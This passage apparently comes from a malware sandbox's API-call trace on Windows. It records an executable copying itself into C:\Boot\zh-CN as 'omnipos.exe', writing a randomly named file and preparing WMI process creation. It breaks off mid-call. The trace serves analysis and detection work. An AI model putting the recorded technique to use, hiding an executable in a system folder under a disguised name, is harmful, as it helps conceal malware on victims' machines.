ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0088.879] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0088.879] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.879] FindClose (in: hFindFile=0x1bfbf3b0 | out: hFindFile=0x1bfbf3b0) returned 1 [0088.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0088.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0088.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0088.879] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0088.880] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*" (normalized: "c:\\boot\\zh-cn\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbf3b0 [0088.886] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.886] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.886] FindNextFileW (in: hFindFile=0x1bfbf3b0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.886] FindClose (in: hFindFile=0x1bfbf3b0 | out: hFindFile=0x1bfbf3b0) returned 1 [0088.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0088.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0088.889] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0088.889] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\omnipos.exe", lpFilePart=0x0) returned 0x19 [0088.889] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Boot\\zh-CN\\omnipos.exe" (normalized: "c:\\boot\\zh-cn\\omnipos.exe"), bFailIfExists=0) returned 1 [0089.028] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\9a9ef8f6a80f81", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\9a9ef8f6a80f81", lpFilePart=0x0) returned 0x1c [0089.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0089.028] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\9a9ef8f6a80f81" (normalized: "c:\\boot\\zh-cn\\9a9ef8f6a80f81"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x294 [0089.029] GetFileType (hFile=0x294) returned 0x1 [0089.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0089.029] GetFileType (hFile=0x294) returned 0x1 [0089.029] WriteFile (in: hFile=0x294, lpBuffer=0x2a02568*, nNumberOfBytesToWrite=0x30c, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a02568*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x30c, lpOverlapped=0x0) returned 1 [0089.031] CloseHandle (hObject=0x294) returned 1 [0089.033] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0089.033] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0089.033] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0089.033] IUnknown:Release (This=0x111f638) returned 0x1 [0089.035] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c001e60) returned 0x0 [0089.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001e60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0089.036] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001e60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea0a70) returned 0x0 [0089.036] WbemDefPath:IUnknown:Release (This=0x1c001e60) returned 0x0 [0089.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea0a70) returned 0x0 [0089.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0089.036] WbemDefPath:IUnknown:AddRef (This=0x1bea0a70) returned 0x3 [0089.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0089.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0089.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c002020) returned 0x0 [0089.036] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c002020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.036] WbemDefPath:IUnknown:Release (This=0x1c002020) returned 0x3 [0089.036] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0089.037] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0089.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0089.037] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x2 [0089.037] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x1 [0089.037] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0089.037] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0089.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea0a70) returned 0x0 [0089.037] WbemDefPath:IUnknown:AddRef (This=0x1bea0a70) returned 0x3 [0089.037] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x2 [0089.037] WbemDefPath:IWbemPath:SetText (This=0x1bea0a70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0089.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0a70, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.037] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0a70, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0089.037] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0a70, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0089.037] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0a70, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0a70, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.037] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0a70, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.038] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0089.038] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0089.038] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0089.038] IUnknown:Release (This=0x111f638) returned 0x1 [0089.040] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c001fa0) returned 0x0 [0089.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001fa0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0089.040] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001fa0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea09b0) returned 0x0 [0089.040] WbemDefPath:IUnknown:Release (This=0x1c001fa0) returned 0x0 [0089.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea09b0) returned 0x0 [0089.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0089.041] WbemDefPath:IUnknown:AddRef (This=0x1bea09b0) returned 0x3 [0089.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0089.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0089.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c001fe0) returned 0x0 [0089.041] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001fe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.041] WbemDefPath:IUnknown:Release (This=0x1c001fe0) returned 0x3 [0089.041] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0089.041] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0089.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0089.041] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x2 [0089.041] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x1 [0089.041] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0089.041] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0089.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea09b0) returned 0x0 [0089.041] WbemDefPath:IUnknown:AddRef (This=0x1bea09b0) returned 0x3 [0089.041] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x2 [0089.042] WbemDefPath:IWbemPath:SetText (This=0x1bea09b0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea09b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea09b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0089.042] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.042] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 